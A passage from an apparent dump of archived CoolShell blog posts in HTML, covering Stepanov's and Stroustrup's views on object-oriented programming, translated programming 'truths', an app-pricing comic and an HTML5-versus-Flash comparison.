src=\"http://www.techcn.com.cn/uploads/200906/s_1244557971yFeOfA84.jpg\" title=\"Alexander Stepanov\" width=\"225\"/><figcaption class=\"wp-caption-text\">Alexander Stepanov</figcaption></figure>\n<blockquote><p><strong>Question</strong>:<br/>\nI think STL and Generic Programming mark a definite departure from the common C++ programming style, which I find is almost completely derived from SmallTalk. Do you agree?</p>\n<p><strong>提问</strong>：<br/>\n我认为STL和泛型编程标志着非同一般的C++编程风格，而一般C++风格几乎完全是从SmallTalk派生过来的。你同意吗？</p>\n<p><strong>Answer</strong>:<br/>\nYes. STL is not object oriented. I think that object orientedness is almost as much of a hoax as Artificial Intelligence. I have yet to see an interesting piece of code that comes from these OO people. In a sense, I am unfair to AI: I learned a lot of stuff from the MIT AI Lab crowd, they have done some really fundamental work: Bill Gosper’s Hakmem is one of the best things for a programmer to read. AI might not have had a serious foundation, but it produced Gosper and Stallman (Emacs), Moses (Macsyma) and Sussman (Scheme, together with Guy Steele). I find OOP technically unsound. It attempts to decompose the world in terms of interfaces that vary on a single type. To deal with the real problems you need multisorted algebras – families of interfaces that span multiple types. I find OOP philosophically unsound. It claims that everything is an object. Even if it is true it is not very interesting – saying that everything is an object is saying nothing at all. I find OOP methodologically wrong. It starts with classes. It is as if mathematicians would start with axioms. You do not start with axioms – you start with proofs. Only when you have found a bunch of related proofs, can you come up with axioms. You end with axioms. The same thing is true in programming: you have to start with interesting algorithms. Only when you understand them well, can you come up with an interface that will let them work.</p>\n<p><strong>回答：</strong><br/>\n是的。STL不是面向对象的。我认为面向对象和人工智能差不多，都是个骗局。我至今仍然没有从那些OO编程的人那里看到一丁点有意思的代码。从某种意义上来说，我这么说对人工智能（AI）并不公平：因为我听说过很多MIT（麻省理工大） AI实验室里一帮人搞出来的东西，而且他们的确直正干了一些基础性的工作：Bill Gosper的Hakmem是程序员最好的读物之一。AI或许没有一个实实在在的基础，但它造就了Gosper和Stallman（Emacs）， Moses（Macsyma）和Sussman（Scheme， 和Guy Steele一起）。</p>\n<ul>\n<li>我发现OOP在技术上是荒谬的，它企图把事物按照不同单个类型的接口来解构，为了处理实际问题，你需要多种代数方法——横跨多种类型的接口族；</li>\n<li>我发现OOP在哲学上是荒谬的，它声称一切都是对象。即使这是真的也不是很有趣——因为说一切都是对象跟什么都没说一样；</li>\n<li>我发现OOP的方法论是错误的，它从类开始，就好像数学应该从从公理开始一样。其实你不会是从公理开始的，而是从证明开始。直到你找到了一大堆相关证据后你才能归纳出公理，然后以公理结束。在程序设计方面存在着同样的事实：你要从有趣的算法开始。只有很好地理解了算法，你才有可能提炼出接口以让其工作。</li>\n</ul>\n</blockquote>\n<p><span style=\"color: #ffffff;\">&lt;———&gt;</span></p>\n<p>下面，我们再来看C++的发明者Bjarne Stroustrup，在1998年IEEE采访时的一段话（<a href=\"http://www2.research.att.com/~bs/ieee_interview.html\" target=\"_blank\">全篇见这里</a>），下面是其中的几段话：（我的翻译如下）</p>\n<p><span id=\"more-3036\"></span></p>\n<figure class=\"wp-caption alignright\" style=\"width: 200px;\"><img alt=\"\" height=\"245\" src=\"http://www.techcn.com.cn/uploads/200906/1244559516ywHaeEXL.png\" title=\"Bjarne Stroustrup\" width=\"200\"/><figcaption class=\"wp-caption-text\">Bjarne Stroustrup</figcaption></figure>\n<blockquote><p>So what is OO? Certainly not every good program is object-oriented, and not every object-oriented program is good. If this were so, “object-oriented” would simply be a synonym for “good,” and the concept would be a vacuous buzzword of little help when you need to make practical decisions. I tend to equate OOP with heavy use of class hierarchies and virtual functions (called methods in some languages). This definition is historically accurate because class hierarchies and virtual functions together with their accompanying design philosophy were what distinguished Simula from the other languages of its time. In fact, it is this aspect of Simula’s legacy that Smalltalk has most heavily emphasized.</p>\n<p>那么，什么是OO面向对象？当然，不会是所有的程序都是面向对象的，而且，也不是所有的面向对象程序就是好的。如果面向对象是好的，那么“Object-Oriented”应该成为“Good”的同义词，并且，OO概念只会成为一个假大空的口号，在你需要做出实际决定时只可能帮你那么一丁点。我倾向于把OOP等价于大量使用继承类和虚函数（某些语言的调用方法）。从历史上来说，这个定义是精确的，因为，在那个时候，只有类的继承和虚函数一起存在的设计哲学，才能把Simula和其它语言分别开来。事实上，Smalltalk相当地强调着这种Simula的遗留问题。</p>\n<p>Defining OO as based on the use of class hierarchies and virtual functions is also practical in that it provides some guidance as to where OO is likely to be successful. You look for concepts that have a hierarchical ordering, for variants of a concept that can share an implementation, and for objects that can be manipulated through a common interface without being of exactly the same type. Given a few examples and a bit of experience, this can be the basis for a very powerful approach to design.</p>\n<p>用继承类和虚函数来定义OO在实际上可以让很多OO指导性的东西更能成功一些。在解决问题时，寻找的那些有层级次序的对象，以应对不同对象也可以重用同一个实现，并且对象可以被某个共同的接口来操作而不需要完全相同的类型。在你了解了一些示例和拥有了一些经验后，OO可以成为Design的一个强有力的基础。</p>\n<p>However, not every concept naturally and usefully fits into a hierarchy, not every relationship among concepts is hierarchical, and not every problem is best approached with a primary focus on objects. For example, some problems really are primarily algorithmic. Consequently, a general-purpose programming language should support a variety of ways of thinking and a variety of programming styles. This variety results from the diversity of problems to be solved and the many ways of solving them. C++ supports a variety of programming styles and is therefore more appropriately called a multiparadigm, rather than an object-oriented, language (assuming you need a fancy label).</p>\n<p>然而，并不是每一个对象都自然地有效地适合继承，并不是每一个对象间的关系都是继承，也并不是每一个问题的最佳解决途径需要主要地通过对象。例如，很多问题主要是算法问题（译注：如业务逻辑，数据流等）。我们知道，一个一般性的编程语言都应该有能力支持不同的思路和不同的编程风格。这样，对于问题的多样性，我们可以使用许许多多不同的的方法去解决他们，这就产生了很多的不同解法。C++支持编程风格的多样性，因此，C++叫做“多范式  multi-paradigm”会更合适一些，而不是一个面向对象语言。</p></blockquote>\n<p><span style=\"color: #ffffff;\">&lt;———&gt;</span></p>\n<p>我个人在看过这些言论后，我先不管“面向对象是不是一个骗局”，不过从某种角度上来看的确是有些问题的，C++、OO、XML、SOA、网格计算等等诸如此类的东西的确被挂上了神圣的光坏。这些东西出来的时候总是只有一种赞美的声音。无论好坏，只有一种声音总是令人恐怖的，无论好坏，有不同的声音总是好的，每当这个社会或是我们的IT界大张旗鼓地鼓吹或是信仰某些东西，却没有任何一点不同意见的时候，我就会感到一种莫名的恐慌。我知道，这是我们从小受到的那种“非黑即白”的价值观教育所致，事物要么全是好的，要么全是不好的。其实任何事物都是有好有不好的，C++，敏捷开发，CMMi，OO，设计模式，重构，等等等等，他们都有好的也有不好的，关键看你怎么来使用（如之前的《<a href=\"https://coolshell.cn/articles/3005.html\" target=\"_blank\" title=\"代码重构的一个示例\">代码重构的一个示例</a>》）。这个世界只有适合不适合的东西，不会出现放之四海皆准的东西，也不可能出现一种可以解决所有问题的东西，如果有，那么这种东西必然是一种宗教性质的用来洗脑的东西。</p>\n<p>所以，每当在我身边看到或听到那些只有一种声音有如“电视购物”或是“新闻联播”之类的宣传或是鼓动的时候，我就感到很一种莫名的反感…… 不多说了，还是交给大家来评价吧。我仅以此篇文章献给那些OO-Oriented，Design Pattern-Oriented，Agile-Oriented，Process-Oriented，等等有着宗教信仰一般的人和事。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8745.html\"><img alt=\"如此理解面向对象编程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8745.html\">如此理解面向对象编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5202.html\"><img alt=\"对象的消息模型\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5202.html\">对象的消息模型</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4535.html\"><img alt=\"一些软件设计的原则\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4535.html\">一些软件设计的原则</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12199.html\"><img alt=\"C++ STL string的Copy-On-Write技术\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/22.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12199.html\">C++ STL string的Copy-On-Write技术</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3036.html\">面向对象是个骗局？！</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-9-3 一些鲜为人知的编程事实.html",
    "content": "<html><body><p>文章来源：<a href=\"http://dotmac.rationalmind.net/2010/08/some-lesser-known-truths-about-programming/\" target=\"_blank\">http://dotmac.rationalmind.net/2010/08/some-lesser-known-truths-about-programming/</a></p>\n<p>我的程序员经历让我明白了一些关于软件开发的事情。下面是一些在编程中可能会让人感到诧异的事情：</p>\n<ul>\n<li>一个程序员用了大约只用了10%-20%的时间来编码，而且大多数程序员，无论他的水平如何，其<a href=\"http://stackoverflow.com/questions/966800/mythical-man-month-10-lines-per-developer-day-how-close-on-large-projects\" target=\"_blank\">平均每天只有10-12行的代码</a>最终会进入最终的软件产品中。这是因为，<a href=\"https://coolshell.cn/articles/222.html\" target=\"_blank\">优秀的程序员</a>会花费90%的时间来思考、调查、研究最佳的设计。而<a href=\"https://coolshell.cn/articles/1081.html\" target=\"_blank\">糟糕的程序员</a>则会花费90%的时间来调试代码，并随意地改动代码并尝试让代码工作起来。</li>\n</ul>\n<blockquote><p>“A great lathe operator commands several times the wage of an average lathe operator, but a great writer of software code is worth 10,000 times the price of an average software writer.” –Bill Gates</p>\n<p>“一个优秀的车工其工资是一个普通车工的好几倍，但是一个优秀程序员写出来的代码比一个普通程序员要值钱一万倍。——比尔盖茨”</p></blockquote>\n<ul>\n<li>一个好的程序员比一个普通的程序员多十倍的生产率。而一个优秀的程序员的生产率则比普通程序员多20-100倍。<a href=\"http://www.devtopics.com/programmer-productivity-the-tenfinity-factor/\" target=\"_blank\">这并不是夸张</a>（自从上世纪60年代的研究一直表明这是一个事实）。一个糟糕的程序员并不只是没有产出的——他们并不仅是完成不不工作，而且还会制造出大量的让别人头痛并要去解决的麻烦。</li>\n</ul>\n<p><span id=\"more-2909\"></span></p>\n<ul>\n<li>优秀的程序员花少量的时间写代码——那些代码都会出现在最终的产品中。那些花大量的时间写代码的程序员其实是很懒惰、很无知，或是很自大的，以至于不能使用已经存在了的解决方案来解决已有的问题。优秀的程序员精通于对通用的模式的识别和重用。好的程序员并不害怕持续地重构/重写自己的代码，直到达到最理想的方案。糟糕的程序员的代码基本上都缺少概念一致性，代码冗长，缺少层次和模式，所以，也就很难被重构。所以，重写他们的代码要比重构他们的代码要容易得多。</li>\n</ul>\n<ul>\n<li>软件和其它一切事物一样，都遵循着一致性规则。持续得更改只会让软件变成一潭烂泥，其破坏了原始设计的概念一致性。软件产品变成泥沼是不可避免的事情，但是因为程序员不考虑软件概念一致性而导致软件产品更为快速地成为泥沼，这种速度快得可能 会在软件产品还没有完成时，软件产品已经变得没有价值。设计概念一致性的失败通常都会导致软件项目的失败（而第二大导致软件项目失败的原因则是发布的软件并不是用户想要的）。软件变成烂泥的速度正在呈指数级下降，太多的项目在被完结前都面临着激增的时间和成本。</li>\n</ul>\n<ul>\n<li>一个 <a href=\"http://www.softwaremag.com/L.cfm?Doc=newsletter/2004-01-15/Standish\" target=\"_blank\">2004 研究报告</a> 指出，大多数的软件项目 (51%) 都会在关键环节出问题。而15%的项目则是完全失败，当然，这比1994年有了很大的进步，当时完全失败的项目是是31%。</li>\n</ul>\n<ul>\n<li>虽然，几乎所有的软件产品都有些开发团队，但其并不是民主的。通常，只有一个人负责设计，而剩下的人去实现细节。</li>\n</ul>\n<ul>\n<li>编程是一个辛苦的工作。其是一个巨烈的脑力劳动。好的程序员24×7地在思考他们的工作，他们一般都在在洗澡和梦中编写软件中最重要的代码。因为最重要的工作只能在键盘之外完成，软件项目不可能因为加班或是<a href=\"http://en.wikipedia.org/wiki/Brooks's_law\" target=\"_blank\">加人</a>来加快进度。</li>\n</ul>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22157.html\"><img alt=\"谈谈公司对员工的监控\" height=\"150\" src=\"../wp-content/uploads/2022/02/monitoring-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22157.html\">谈谈公司对员工的监控</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21589.html\"><img alt=\"如何做一个有质量的技术分享\" height=\"150\" src=\"../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21589.html\">如何做一个有质量的技术分享</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20977.html\"><img alt=\"程序员如何把控自己的职业\" height=\"150\" src=\"../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20977.html\">程序员如何把控自己的职业</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20765.html\"><img alt=\"MegaEase的远程工作文化\" height=\"150\" src=\"../wp-content/uploads/2020/01/remote-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20765.html\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2909.html\">一些鲜为人知的编程事实</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-9-3 消费者的消费观.html",
    "content": "<html><body><p></p>\n<div>\n<p>原文：<a href=\"http://theoatmeal.com/blog/apps\">http://theoatmeal.com/blog/apps</a></p>\n<p style=\"text-align: center;\"><img alt=\"How I feel about buying apps\" src=\"http://s3.amazonaws.com/theoatmeal-img/comics/apps/1.png\"/></p>\n<blockquote><p><strong>星巴克</strong>：这是你的venti-soy-whipped-frappa-lardy-lattechino，也就$7.15，你需要加点糖吗？只需要再加$1.95。</p>\n<p><strong>消费者</strong>：绝对要加。让我们的血糖值高到月亮上！</p></blockquote>\n<p><span id=\"more-2913\"></span></p>\n<p style=\"text-align: center;\"><img alt=\"How I feel about buying apps\" src=\"http://s3.amazonaws.com/theoatmeal-img/comics/apps/2.png\"/></p>\n<blockquote><p><strong>票房</strong>：先生，想看“断背3D吗”？一张票只要$13！</p>\n<p><strong>消费者</strong>：没问题！另外，有优惠吗？我想花$20再买点爆米花和碳酸饮料。</p></blockquote>\n<p style=\"text-align: center;\"><img alt=\"How I feel about buying apps\" src=\"http://s3.amazonaws.com/theoatmeal-img/comics/apps/3.png\"/></p>\n<blockquote><p><strong>Apple</strong>：新的iPhone 4G，加上税要$425.19</p>\n<p><strong>消费者</strong>：只要$425？！这仅相当于我老婆把背上的毛给去掉价格的1/10！拿钱！花这点钱连想不用想。</p></blockquote>\n<p style=\"text-align: center;\"><img alt=\"How I feel about buying apps\" src=\"http://s3.amazonaws.com/theoatmeal-img/comics/apps/4.png\"/></p>\n<blockquote><p><strong>Apple</strong>：iPad 3GS 加一个保护盒，一共$875.24</p>\n<p><strong>消费者</strong>：$875？这就些？啊，我要两个，一个给我，一个给我身边这个有毛的朋友。</p></blockquote>\n<p style=\"text-align: center;\"><a href=\"http://theoatmeal.com/\"><img alt=\"How I feel about buying apps\" src=\"http://s3.amazonaws.com/theoatmeal-img/comics/apps/5.png\"/></a></p>\n<blockquote><p><strong>网站</strong>：下载应用：HorseHunter Extreme！点击OK确认你想花$0.99买这个应用。</p>\n<p><strong>消费者</strong>：什么？什么？什么？！99美分？！靠，我不知道……这么多钱啊！我应该把我的会技师找来，或是明天再说吧。</p></blockquote>\n<p>（完）</p>\n</div>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5089.html\"><img alt=\"10个必需的iOS开发工具和资源\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5089.html\">10个必需的iOS开发工具和资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2719.html\"><img alt=\"苹果开发工具Xcode 4 第二预览版\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2719.html\">苹果开发工具Xcode 4 第二预览版</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3903.html\"><img alt=\"一些有意思的贴子和工具\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3903.html\">一些有意思的贴子和工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3589.html\"><img alt=\"食客还是大厨\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3589.html\">食客还是大厨</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2507.html\"><img alt=\"2000年的iMac和2010年的iPhone\" height=\"150\" src=\"../wp-content/uploads/2010/06/5176XS40F9L._SL500_AA300_-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2507.html\">2000年的iMac和2010年的iPhone</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2086.html\"><img alt=\"iPad进化图\" height=\"150\" src=\"../wp-content/uploads/2010/02/ipad-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2086.html\">iPad进化图</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2913.html\">消费者的消费观</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-9-6 Did You Know_.html",
    "content": "<html><body><p>下面这个短片可能Too Old了，不过我今天才看到，很不错，转到这里，让更多的人都能看到。</p>\n<p>这是个信息爆炸飞速发展的年代，逆水行舟，不进则退。在这一组组的数据中让我们这班新生代年轻人反思自身所要背负和面对的压力和挑战！极有深度的短片，整理出来的数据实在是叫人震惊，生活在这个科技高速发展的时代既是种荣幸，又很有压力，对“学校里教得知识很多就是过时的”深有体会！！</p>\n<p><strong>Did You Know? 3.0版</strong></p>\n<p style=\"text-align: center;\"></p>\n<p><strong>Did You Know? 4.0版</strong></p>\n<p><span id=\"more-2917\"></span></p>\n<p style=\"text-align: center;\"><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12192.html\"><img alt=\"C/C++返回内部静态成员的陷阱\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12192.html\">C/C++返回内部静态成员的陷阱</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/37.html\"><img alt=\"【引文】如何用Python往Google Spreadsheet上写数据\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/27.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/37.html\">【引文】如何用Python往Google Spreadsheet上写数据</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/154.html\"><img alt=\"10个基于Ajax的PHP Webmail客户端\" height=\"150\" src=\"../wp-content/uploads/2009/03/webmail1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/154.html\">10个基于Ajax的PHP Webmail客户端</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1857.html\"><img alt=\"C 语言整型谜题\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1857.html\">C 语言整型谜题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/732.html\"><img alt=\"Glassfish ESB 的教程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/12.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/732.html\">Glassfish ESB 的教程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/209.html\"><img alt=\"C++和JAVA传统中积极的一面\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/209.html\">C++和JAVA传统中积极的一面</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2917.html\">Did You Know?</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-9-9 你准备使用 HTML 5 吗？.html",
    "content": "<html><body><p>现在做Web上的效果，主要是有三种方法，Flash，Javascript 和 HTML5。Flash就不用多说了，Javascript的效果也<a href=\"https://coolshell.cn/articles/2785.html\" target=\"_blank\">越来越猛</a>了，如果配上HTML5，那就如虎添翼了。先看看下面的这个HTML5的演示。其使用了HTML5的Canvas元件，把鼠标移上去看看吧（最好在Chrome下浏览）。源链接在<a href=\"http://rawkes.com/experiments/google-bouncing-balls-canvas/\" target=\"_blank\">这里</a>（在这里展示有点小，还是在那边全屏的看好一点）</p>\n<p align=\"center\"></p>\n<p>下面是一个大图，来自<a href=\"http://www.focus.com/images/view/11905/\" target=\"_blank\">这里</a>（点击看大图）。其“抱怨”了为什么HTML怎么都要管？呵呵。其分成三块：</p>\n<p><span id=\"more-2926\"></span></p>\n<ul>\n<li>第一块是关于HTML5的功能，你可以查看本站的<a href=\"https://coolshell.cn/articles/2829.html\" target=\"_blank\">这篇文章</a>以查看相关的HTML5的细节。</li>\n<li>第二块说明了各种浏览器对HTML5的支持，从图中我们可以看到Chrome是支持的最好的。</li>\n<li>第三块从价格，功能，应用和效率上比较了HTML5和Flash，可参看本站的《<a href=\"https://coolshell.cn/articles/2735.html\" target=\"_blank\" title=\"HTML5 和 Flash 之争\">HTML5 和 Flash 之争</a>》。</li>\n</ul>\n<figure class=\"wp-caption aligncenter\" id=\"attachment_2932\" style=\"width: 274px;\"><a href=\"https://coolshell.cn/wp-content/uploads/2010/09/WTF_HTML51.jpg\"><img alt=\"\" class=\"size-medium wp-image-2932\" height=\"300\" src=\"../wp-content/uploads/2010/09/WTF_HTML51-274x300.jpg\" title=\"为什么HTML什么都要干？\" width=\"274\"/></a><figcaption class=\"wp-caption-text\" id=\"caption-attachment-2932\">为什么HTML什么都要干？（点击看大图）</figcaption></figure>\n<p>比较方面，关于价格，虽然Flash Player是免费的，但是开发工具是收费的，最重要的是，HTML5不是公司的产品，不存在垄断。在功能方面，目前当然是Flash很强，因为其图形处理能力很强，这点HTML5不如。在通用性方面，Flash是以插件的方式，而HTML5是浏览器支持的。当然，在性能方面，Javascript的方式对于CPU消耗地太猛了，这点Flash优势就很大了。</p>\n<p>HTML5还是Flash，你觉得哪个会更好呢？<br/>\n<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> 